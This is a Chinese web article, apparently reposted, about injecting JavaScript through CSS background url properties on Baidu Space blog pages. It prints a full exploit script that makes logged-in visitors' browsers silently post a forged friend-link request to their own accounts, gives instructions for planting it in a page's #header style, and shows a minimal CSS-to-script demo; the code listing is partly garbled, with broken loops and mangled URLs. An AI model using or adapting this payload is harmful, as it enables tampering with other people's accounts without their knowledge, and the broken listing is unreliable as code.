位置:海鸟网 > IT > JavaScript >

在CSS样式表中调用JAVASCRIPT脚本的安全问题

近看了百度空间关于JS破坏漏洞的文章:内容来自站长资讯网()

  百度空间上线后,很多网友为了宣传自己的百度空间,内容来自站长资讯网()疯狂复制css代码。但与此同时也出现了百度空间的网络黑手,利用百度空间的功能,加入自己的代码,而这些代码又是恶意的,导致百度空间的用户遭遇危险。

  这是一个网友发来的短信求助,原文如下:

  有内容来自站长资讯网()个黑客用javascript把我的链接改了..并威胁我如果删除连接就删除我的空间,最怕的就是这样的人..我想问您了解一下他能用同样的手段篡改我页面的其他信息吗..最好能告诉小弟对付这样的人的办法,我实在没辙了,好郁闷..谢谢..

  当时笔者找到该"黑客"的空间,轻松发现其利用css代码加入js代码内容来自站长资讯网(),然后又利用js代码的功能,分析百度空间在提交数据时的参数,构造出来一个恶意的js代码,功能是提交一个加入友情链接的请求到百度空间,导致访问该网站的已登陆百度空间用户在自己空间上自动的加一个友情链接.

  下边是利用代码:

javascript:document.body.onload = function(){
var req = null;if(window.XMLHttpRequest) req = new XMLHttpRequest();
else if(window.ActiveXObject){
var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for(var i=0;i
try{req.overrideMimeType('text/xml')}catch(e){}
}
req.open('get','.',false);
req.send();
var s=req.responseText;
p=s.indexOf('passport.baidu.com/?logout');
if(p>0)
{
p=s.indexOf('');
if(p>0)
{
p=s.indexOf('http://www.cuoxin.com/',p);
p2=s.indexOf(String.fromCharCode(34),p);
var user=s.substring(p+1,p2);
var;
var link='http://hi.baidu.com/haomm';
var desc='%CA%B9%C4%E3%B5%C4%B0%D9%B6%C8%BF%D5%BC%E4%D6%A7%B3%D6html%B7%A2%CC%FB';
var url='http://www.cuoxin.com/'+user+'/commit';
var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc);
req.open('post',url,false);
req.send(data);
}
}
}

  分析:

  该方法危险等级:高级.构造相应的js代码可以删除用户空间的所有数据.该漏洞目前未发现有恶意删除的现象,但已足够危险,请用户小心.

  解决办法:

  由于攻击者可能利用任何用户名的百度空间提交增加,删除,更改的链接,所以目前没有完美解决办法.

  给已经受害者解决办法:删除恶意链接,不再在登陆的情况下访问其空间链接.

  利用方法,演示及声明:

  本空间加入了该漏洞代码的利用演示,使用方法:在自己空间css里面找到#header{},在里面加入上述代码即可.形式如:#header{height:200px;background:url("上文js代码");}请小心使用.

发现在CSS中居然可以调用JAVASCRIPT代码,这是以前从未注意到的地方!

主要原理是在CSS中通过设置背景对象的url属性来加入JS代码:类似如下:

<style type="text/css">
body{
height:200px;
background:url(javascript:alert("站长资讯!!"));
}
</style>

将这段代码随意插入到任何页面中都会执行其中的JS代码.

显然这开启了针对很多对于CSS具备自由编辑功能的很多BSP(BLOG服务提供商)的攻击思路,内容来自站长资讯网()而对CSS入手的攻击目前作防范的很少.

从另一角度来看,设计系统可以在JS设计时考虑利用CSS进行包含和引用.这是很好的一个从JS控制CSS到CSS控制JS的一个反作用.